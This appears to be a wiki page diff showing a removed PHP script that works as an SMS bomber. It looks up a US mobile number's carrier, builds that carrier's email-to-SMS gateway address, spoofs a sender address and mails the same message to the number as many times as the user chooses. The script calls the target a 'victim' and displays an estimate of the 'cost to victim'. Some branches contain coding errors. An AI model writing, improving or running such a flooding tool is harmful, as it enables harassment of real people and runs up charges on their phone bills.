|
|
Line 1: |
Line 1: |
| <pre><?php
| | [http://pastebin.com/m409dae0f http://pastebin.com/m409dae0f] |
| session_start();
| |
| echo '<HEAD>
| |
| <STYLE type="text/css">
| |
| msglength {color: #00af18; font-weight: bold;}
| |
| error {color: #ff0022; font-weight: bold;}
| |
| cost {color: #4caf50; font-weight: bold;}
| |
| nogo {color: #ff0022; font-weight: bold; font-size: 30px;}
| |
| go {color: #00ff3a; font-weight: bold; font-size: 30px;}
| |
| a {color: #00ff3a; text-decoration: underline; font-weight: bold; font-size: 30px;}
| |
| </STYLE>
| |
| <SCRIPT LANGUAGE="JavaScript">
| |
| function countit(what){
| |
| formcontent=what.form.message.value
| |
| document.getElementsByTagName("charcountmsg")[0].innerHTML=formcontent.length
| |
| }
| |
| | |
| function countsub(what){
| |
| formcontent=what.form.subject.value
| |
| document.getElementsByTagName("charcountsub")[0].innerHTML=formcontent.length
| |
| }
| |
| | |
| function autotab(original,destination)
| |
| {
| |
| if (original.getAttribute&&original.value.length==original.getAttribute("maxlength"))
| |
| destination.focus();
| |
| }
| |
| | |
| var Numeric = /^\d+$/;
| |
| | |
| function Vallp(form)
| |
| {
| |
| if(form.cell1.value.length < 3 || form.cell1.value.match( Numeric ) == null)
| |
| {
| |
| alert(\'Invalid cell phone number (ex. 408-123-1234.)\')
| |
| form.cell1.value == "";
| |
| form.cell1.focus();
| |
| return false;
| |
| }
| |
| if(form.cell2.value.length < 3 || form.cell2.value.match( Numeric ) == null)
| |
| {
| |
| alert(\'Invalid cell phone number (ex. 408-123-1234.)\')
| |
| form.cell2.value == "";
| |
| form.cell2.focus();
| |
| return false;
| |
| }
| |
| if(form.cell3.value.length < 4 || form.cell3.value.match( Numeric ) == null)
| |
| {
| |
| alert(\'Invalid cell phone number (ex. 408-123-1234.)\')
| |
| form.cell3.value == "";
| |
| form.cell3.focus();
| |
| return false;
| |
| }
| |
| if(form.message.value == null)
| |
| {
| |
| alert(\'Enter a message\')
| |
| form.message.value == "";
| |
| form.message.focus();
| |
| return false;
| |
| }
| |
| if(form.subject.value == null)
| |
| {
| |
| alert(\'Enter a subject\')
| |
| form.subject.value == "";
| |
| form.subject.focus();
| |
| return false;
| |
| }
| |
| if(form.times.value < 1 || form.times.value.match( Numeric ) == null)
| |
| {
| |
| alert(\'Enter a positive number of times\')
| |
| form.times.value == "";
| |
| form.times.focus();
| |
| return false;
| |
| }
| |
| document.form1.submitbutton.disabled = true;
| |
| return true;
| |
| }
| |
| </script>
| |
| </HEAD>';
| |
| if (isset($_GET['step'])) {
| |
| if ($_GET['step'] == '1') {
| |
| if (isset($_GET['cell1']) && isset($_GET['cell2']) && isset($_GET['cell3']) && isset($_GET['message']) && isset($_GET['subject']) && isset($_GET['times'])) {
| |
| $_SESSION['cell1'] = $_GET['cell1'];
| |
| $_SESSION['cell2'] = $_GET['cell2'];
| |
| $_SESSION['cell3'] = $_GET['cell3'];
| |
| $_SESSION['message'] = $_GET['message'];
| |
| $_SESSION['subject'] = $_GET['subject'];
| |
| $_SESSION['times'] = $_GET['times'];
| |
| $_SESSION['fromemail'] = '1@msn.com';
| |
| $ch = curl_init();
| |
| curl_setopt($ch, CURLOPT_VERBOSE, 0);
| |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
| |
| curl_setopt($ch, CURLOPT_HEADER, 0);
| |
| curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]);
| |
| curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile.txt");
| |
| curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile.txt");
| |
| curl_setopt($ch, CURLOPT_FRESH_CONNECT, 1);
| |
| curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
| |
| curl_setopt($ch, CURLOPT_URL, 'http://mobilecarrierlookup.com/api/exe.asp?gourl=MCL');
| |
| curl_setopt($ch, CURLOPT_POST, TRUE);
| |
| curl_setopt($ch, CURLOPT_POSTFIELDS, 'cell1='.$_GET['cell1'].'&cell2='.$_GET['cell2'].'&cell3='.$_GET['cell3'].'&tos=yes');
| |
| curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
| |
| $result1 = curl_exec($ch);
| |
| curl_close($ch);
| |
| $lines = preg_split('/[\n\r]+/', htmlspecialchars(strip_tags($result1)));
| |
| $carrier = '';
| |
| foreach($lines as $var) {
| |
| $match = preg_match('/Carrier Info:.*/', $var);
| |
| if($match > 0) {
| |
| $split = preg_split('/Carrier Info:\s/', $var);
| |
| $carrier = $split['1'];
| |
| }
| |
| }
| |
| $ok = 1;
| |
| echo '<div align="center">Cell number: <b>('. $_SESSION['cell1'] .') '. $_SESSION['cell2'] .'-'. $_SESSION['cell3'] .'</b><br>';
| |
| $carrierarray = array('VERIZON', 'T-MOBILE', 'CINGULAR', 'LEAP WIRELESS', 'ALLTEL', 'SPRINT');
| |
| if(in_array($carrier, $carrierarray)) {
| |
| echo 'Carrier: <b>'. $carrier .'</b> is defined<br>';
| |
| } else {
| |
| $ok = 0;
| |
| echo 'Carrier: <b>'. $carrier .'</b> <error>is not defined</error><br>';
| |
| }
| |
| echo 'Subject: <b>'. $_SESSION['subject'] .'</b><br>Message: <b>'. $_SESSION['message'] .'</b><br>Times: <b>'. $_SESSION['times'] .'</b><br>';
| |
| echo '<hr>';
| |
| switch ($carrier) {
| |
| case 'VERIZON':
| |
| $vzlength = strlen($_SESSION['message']) + strlen($_SESSION['subject']) + strlen($_SESSION['fromemail']);
| |
| if ($vzlength > 160) {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> <error>is NOT allowable<br>Max Length: 160 characters = the sender\'s email address ('. strlen($_SESSION['fromemail']) .' characters) , subject line, and message</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> is allowable<br>';
| |
| }
| |
| $costcalc = number_format($_SESSION['times'] * 0.20, 2, ".", ",");
| |
| echo $length.'<hr>These costs only apply if the victim does not have unlimited text messaging<br>Cost per message: <cost>$0.20 USD</cost><br>Cost to victim: <cost>$'. $costcalc .' USD</cost><br>';
| |
| $_SESSION['emailend'] = '@vtext.com';
| |
| break;
| |
|
| |
|
| |
| case 'T-MOBILE':
| |
| $tmblength = strlen($_SESSION['message']) + strlen($_SESSION['subject']) + strlen($_SESSION['fromemail']);
| |
| if (strlen($_SESSION['subject']) > 16) {
| |
| $sublength = 'Subject Length: <msglength>'. strlen($_SESSION['subject']) .'</msglength> <error>is NOT allowable<br>Max Subject Length: 16 characters</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $sublength = 'Subject Length: <msglength>'. strlen($_SESSION['subject']) .'</msglength> is allowable<br>Max Subject Length: 16 characters<br>';
| |
| }
| |
| if ($strlen($_SESSION['message']) > 140) {
| |
| $msglength = 'Message Length: <msglength>'. $tmblength .'</msglength> <error>is NOT allowable<br>Max Length: 140 characters</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $msglength = 'Message Length: <msglength>'. $tmblength .'</msglength> is allowable<br>';
| |
| }
| |
| if ($tmblength > 160) {
| |
| $length = 'SMS Length: <msglength>'. $tmblength .'</msglength> <error>is NOT allowable<br>Max Length: 160 characters = the sender\'s email address ('. strlen($_SESSION['fromemail']) .' characters) , subject line, and message</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $length = 'SMS Length: <msglength>'. $tmblength .'</msglength> is allowable<br>';
| |
| }
| |
|
| |
| $costcalc = number_format($_SESSION['times'] * 0.20, 2, ".", ",");
| |
| echo $sublength.$msglength.$length.'<hr><hr>These costs only apply if the victim does not have unlimited text messaging<br>Cost per message: <cost>$0.20 USD</cost><br>Cost to victim: <cost>$'. $costcalc .' USD</cost><br>';
| |
| $_SESSION['emailend'] = '@tmomail.net';
| |
| break;
| |
|
| |
|
| |
| case 'CINGULAR':
| |
| if ($strlen($_SESSION['message']) > 160) {
| |
| $split = $strlen($_SESSION['message']) / 160;
| |
| $length = 'SMS Length: <msglength>'. $tmblength .'</msglength> <h3>is LARGER than max of 16 characters per message</h3><br>';
| |
| $length .= '<h3>This sms will be split into</h3> <split>'. $split .'</split> <h3>sms messages each with a 160 characters</h3><br>';
| |
| $costcalc = number_format($split * $_SESSION['times'] * 0.20, 2, ".", ",");
| |
| } else {
| |
| $length = 'SMS Length: <msglength>'. $tmblength .'</msglength> < 160 characters and will remain 1 sms<br>';
| |
| $costcalc = number_format($_SESSION['times'] * 0.20, 2, ".", ",");
| |
| }
| |
| echo $length.'<hr>These costs only apply if the victim does not have unlimited text messaging<br>Cost per message: <cost>$0.20 USD</cost><br>Cost to victim: <cost>$'. $costcalc .' USD</cost><br>';
| |
| $_SESSION['emailend'] = '@txt.att.net';
| |
| break;
| |
|
| |
|
| |
| case 'LEAP WIRELESS':
| |
| if ($strlen($_SESSION['message']) > 160) {
| |
| $length = 'Message Length: <msglength>'. $strlen($_SESSION['message']) .'</msglength> <error>is NOT allowable<br>Max Length: 160 characters</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $length = 'Message Length: <msglength>'. $strlen($_SESSION['message']) .'</msglength> is allowable<br>';
| |
| }
| |
| echo $length.'<hr><br>';
| |
| $_SESSION['emailend'] = '@sms.mycricket.com';
| |
| break;
| |
|
| |
|
| |
| case 'ALLTEL':
| |
| $vzlength = strlen($_SESSION['message']) + strlen($_SESSION['subject']) + strlen($_SESSION['fromemail']);
| |
| if ($vzlength > 160) {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> <error>is NOT allowable<br>Max Length: 160 characters = the sender\'s email address ('. strlen($_SESSION['fromemail']) .' characters) , subject line, and message</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> is allowable<br>';
| |
| }
| |
| $costcalc = number_format($_SESSION['times'] * 0.15, 2, ".", ",");
| |
| echo $length.'<hr>These costs only apply if the victim does not have unlimited text messaging<br>Cost per message: <cost>$0.15 USD</cost><br>Cost to victim: <cost>$'. $costcalc .' USD</cost><br>';
| |
| $_SESSION['emailend'] = '@message.alltel.com';
| |
| break;
| |
|
| |
|
| |
| case 'SPRINT':
| |
| $vzlength = strlen($_SESSION['message']) + strlen($_SESSION['subject']) + strlen($_SESSION['fromemail']);
| |
| if ($vzlength > 160) {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> <error>is NOT allowable<br>Max Length: 160 characters = the sender\'s email address ('. strlen($_SESSION['fromemail']) .' characters) , subject line, and message</error><br>';
| |
| $ok = 0;
| |
| } else {
| |
| $length = 'Message Length: <msglength>'. $vzlength .'</msglength> is allowable<br>';
| |
| }
| |
| $costcalc = number_format($_SESSION['times'] * 0.15, 2, ".", ",");
| |
| echo $length.'<hr>These costs only apply if the victim does not have unlimited text messaging<br>Cost per message: <cost>$0.15 USD</cost><br>Cost to victim: <cost>$'. $costcalc .' USD</cost><br>';
| |
| $_SESSION['emailend'] = '@messaging.nextel.com';
| |
| break;
| |
| }
| |
| if ($ok == 0) {
| |
| echo '<hr><br><nogo>Problems encountered!!!<br>Check problems marked in red then go back and fix them</nogo></div>';
| |
| } else {
| |
| echo '<hr><br><go>ALL GOOD!!!!<br><a href="'. $_SERVER["PHP_SELF"] .'?step=2">CLICK HERE TO START</a><go></div>';
| |
| }
| |
| } else {
| |
| echo '<nogo>Go back and make sure you filled in all fields correctly.</nogo>';
| |
| }
| |
| } elseif($_GET['step'] == '2') {
| |
| echo "<pre>";
| |
| print_r($_SESSION);
| |
| echo "</pre><br>";
| |
| if (isset($_SESSION['cell1']) && isset($_SESSION['cell2']) && isset($_SESSION['cell3']) && isset($_SESSION['message']) && isset($_SESSION['subject']) && isset($_SESSION['times']) && isset($_SESSION['fromemail']) && isset($_SESSION['emailend']) ) {
| |
| $email = $_SESSION['cell1'] . $_SESSION['cell2'] . $_SESSION['cell3'] . $_SESSION['emailend'];
| |
| $headers = 'From: '. $_SESSION['fromemail'];
| |
| $i = 0;
| |
| echo 'starting!!!<br>status: <num>0</num>/'. $_SESSION['times'];
| |
| while ($i <= $_SESSION['times']) {
| |
| mail($email, $_SESSION['subject'], $_SESSION['message'], $headers);
| |
| echo '<script type="text/javascript">document.getElementsByTagName("num")[0].innerHTML="'. $i++ .'"</script>';
| |
| }
| |
| echo '<br>done<br>';
| |
| } else {
| |
| echo '<nogo>SESSION ERROR!!!</nogo>';
| |
| }
| |
| }
| |
| } else {
| |
| echo '<center>
| |
| <form name=form1 method=get action='. $_SERVER["PHP_SELF"] .' onsubmit="return Vallp(this);">
| |
| <table align="center" border="0" cellpadding="12" style="border-collapse: collapse">
| |
| <tr>
| |
| <td align=center>
| |
| <font size="4">Enter a mobile number in the USA</font><br>
| |
| <input name="cell1" type="text" maxlength="3" id="cell1" size="3" onkeyup="autotab(this, document.forms[0].cell2);">
| |
| -
| |
| <input name="cell2" type="text" maxlength="3" id="cell2" size="3" onkeyup="autotab(this, document.forms[0].cell3);">
| |
| -
| |
| <input name="cell3" type="text" maxlength="4" id="cell3" size="4">
| |
| </td>
| |
| <td align=center>
| |
| <font size="4"># of times to email the gateway</font><br>
| |
| <input type="text" id="times" name="times" size="4"><br>
| |
| </td>
| |
| <td align=center>
| |
| <font size="4">Enter the subject</font><br>
| |
| <input onKeyUp="countsub(this)" onchange="countsub(this)" onmouseup="countsub(this)" onclick="countsub(this)" onKeyPress="countsub(this)" type="text" id="subject" name="subject" size="40"><br>
| |
| current subject characters: <b><charcountsub>0</charcountsub></b>
| |
| </td>
| |
| </tr>
| |
| | |
| <tr>
| |
| <td>
| |
| </td>
| |
| <td align=center>
| |
| <font size="4">Enter the message</font><br>
| |
| <textarea onKeyUp="countit(this)" onchange="countit(this)" onmouseup="countit(this)" onclick="countit(this)" onKeyPress="countit(this)" id="message" name="message" rows="15" cols="31"></textarea><br>
| |
| Current message characters: <b><charcountmsg>0</charcountmsg></b>
| |
| </td>
| |
| </tr>
| |
| <tr>
| |
| <td>
| |
| </td>
| |
| <td align=center width="406" height="60">
| |
| <input type="submit" value="Submit" name="submitbutton" style="height:35px;width:130px;font-weight:bold;">
| |
| </td>
| |
| </tr>
| |
| </table>
| |
| <input type="hidden" name="step" value="1">
| |
| </form>
| |
| </center>';
| |
| }
| |
| ?></pre>
| |